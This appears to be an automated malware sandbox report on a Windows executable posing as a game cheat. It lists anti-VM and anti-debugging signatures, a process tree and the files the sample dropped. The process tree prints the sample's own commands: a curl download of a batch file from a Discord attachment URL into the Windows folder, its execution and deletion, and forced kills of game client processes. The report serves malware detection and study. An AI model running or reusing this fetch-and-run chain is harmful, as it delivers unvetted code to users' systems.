Analysis

  • max time kernel
    44s
  • max time network
    46s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    11/04/2024, 08:40

General

  • Target
    Blueberry_External_Updated_Fixed.exe
  • Size 4.2MB
  • Sample240411-kktrsaba2z
  • SHA256 25f01407eb4777ac941fc8888c817751e24ee58a9ef3b3f9942ed9cdbf846435
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Blueberry_External_Updated_Fixed.exe
    "C:\Users\Admin\AppData\Local\Temp\Blueberry_External_Updated_Fixed.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:4624
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Blueberry_External_Updated_Fixed.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Windows\system32\certutil.exe
        certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Blueberry_External_Updated_Fixed.exe" MD5
        3⤵
          PID:4864
        • C:\Windows\system32\find.exe
          find /i /v "md5"
          3⤵
            PID:3124
          • C:\Windows\system32\find.exe
            find /i /v "certutil"
            3⤵
              PID:572
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1098035049280065587/1099729891974451303/windows11.bat --silent -o C:\Windows\windowseleven.bat
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3268
            • C:\Windows\system32\curl.exe
              curl https://cdn.discordapp.com/attachments/1098035049280065587/1099729891974451303/windows11.bat --silent -o C:\Windows\windowseleven.bat
              3⤵
              • Drops file in Windows directory
              PID:2020
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\Windows\windowseleven.bat
            2⤵
              PID:1968
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c del C:\Windows\windowseleven.bat
              2⤵
                PID:3684
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c start https://discord.gg/blueberryud
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2316
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/blueberryud
                  3⤵
                  • Enumerates system info in registry
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of WriteProcessMemory
                  PID:2332
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff18703cb8,0x7fff18703cc8,0x7fff18703cd8
                    4⤵
                      PID:1020
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1884 /prefetch:2
                      4⤵
                        PID:468
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 /prefetch:3
                        4⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1552
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2816 /prefetch:8
                        4⤵
                          PID:4932
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3240 /prefetch:1
                          4⤵
                            PID:1168
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
                            4⤵
                              PID:2372
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4604 /prefetch:1
                              4⤵
                                PID:1172
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4652 /prefetch:8
                                4⤵
                                  PID:3752
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=4044 /prefetch:8
                                  4⤵
                                  • Modifies registry class
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4764
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:1
                                  4⤵
                                    PID:2316
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
                                    4⤵
                                      PID:3816
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
                                      4⤵
                                        PID:1056
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5656 /prefetch:1
                                        4⤵
                                          PID:4628
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4028 /prefetch:8
                                          4⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:3216
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3852 /prefetch:8
                                          4⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4692
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c taskkill /f /im EpicGamesLauncher.exe >nul 2>&1
                                      2⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:4236
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /f /im EpicGamesLauncher.exe
                                        3⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:416
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c taskkill /f /im FortniteClient-Win64-Shipping.exe >nul 2>&1
                                      2⤵
                                        PID:2272
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /f /im FortniteClient-Win64-Shipping.exe
                                          3⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2240
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c taskkill /f /im Valorant.exe >nul 2>&1
                                        2⤵
                                          PID:676
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /f /im Valorant.exe
                                            3⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:32
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c taskkill /f /im RiotClient.exe >nul 2>&1
                                          2⤵
                                            PID:4544
                                            • C:\Windows\system32\taskkill.exe
                                              taskkill /f /im RiotClient.exe
                                              3⤵
                                              • Kills process with taskkill
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2100
                                        • C:\Windows\System32\CompPkgSrv.exe
                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                          1⤵
                                            PID:1368
                                          • C:\Windows\System32\CompPkgSrv.exe
                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                            1⤵
                                              PID:4040

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

                                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
                                                  • Size 1KB
                                                  • SHA256 17940ceaf6445e993d4a7db07d18deb0fa7f009e7fb606e1574e83c6dc145444
                                                  • MD5 SHA1 SHA512

                                                  6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

                                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
                                                  • Size 408B
                                                  • SHA256 fe9890126a025628be1e2b376a2737289cb92882dc31870ba34737689ad25737
                                                  • MD5 SHA1 SHA512

                                                  settings.dat

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                  • Size 152B
                                                  • SHA256 a241c88bb86182b5998d9818e6e054d29b201b53f4f1a6b9b2ee8ba22dd238dc
                                                  • MD5 SHA1 SHA512

                                                  settings.dat

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                  • Size 152B
                                                  • SHA256 2e5d6a5eeb72575f974d5fa3cdff7ad4d87a361399ffdd4b03f93cdbdec3a110
                                                  • MD5 SHA1 SHA512

                                                  the-real-index

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                  • Size 984B
                                                  • SHA256 825dc021428d696910b8211a61aca1ef7f5e870ef307adcf5b3cfc77831190f7
                                                  • MD5 SHA1 SHA512

                                                  Preferences

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                  • Size 6KB
                                                  • SHA256 5ebcb940594d20619ec50cc82c0facb406d9a58bc24971915fd8990d11ea9700
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  d8e9e41e-4324-435f-8287-c1f3c128da6d.tmp

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\d8e9e41e-4324-435f-8287-c1f3c128da6d.tmp
                                                  • Size 5KB
                                                  • SHA256 a437571e058dd1a207b238196a54b724af7f728b43952c1145d5d6fe6cb74320
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  CURRENT

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                                  • Size 16B
                                                  • SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
                                                  • MD5 SHA1 SHA512

                                                  Local State

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                  • Size 11KB
                                                  • SHA256 45751c6964d996b363fa1c03f37daeea0a79567e5290d2e0fefa609d2fa0a882
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  windowseleven.bat

                                                  • Path C:\Windows\windowseleven.bat
                                                  • Size 36B
                                                  • SHA256 c3fa59901d56ce8a95a303b22fd119cb94abf4f43c4f6d60a81fd78b7d00fa65
                                                  • MD5 SHA1 SHA512

                                                  memory/4624-5-0x00007FF722250000-0x00007FF722D86000-memory.dmp

                                                  memory/4624-6-0x00007FF722250000-0x00007FF722D86000-memory.dmp

                                                  memory/4624-0-0x00007FF722250000-0x00007FF722D86000-memory.dmp

                                                  memory/4624-39-0x00007FF722250000-0x00007FF722D86000-memory.dmp

                                                  memory/4624-55-0x00007FFF281E0000-0x00007FFF283E9000-memory.dmp

                                                  memory/4624-4-0x00007FF722250000-0x00007FF722D86000-memory.dmp

                                                  memory/4624-3-0x00007FF722250000-0x00007FF722D86000-memory.dmp

                                                  memory/4624-2-0x00007FF722250000-0x00007FF722D86000-memory.dmp

                                                  memory/4624-1-0x00007FFF281E0000-0x00007FFF283E9000-memory.dmp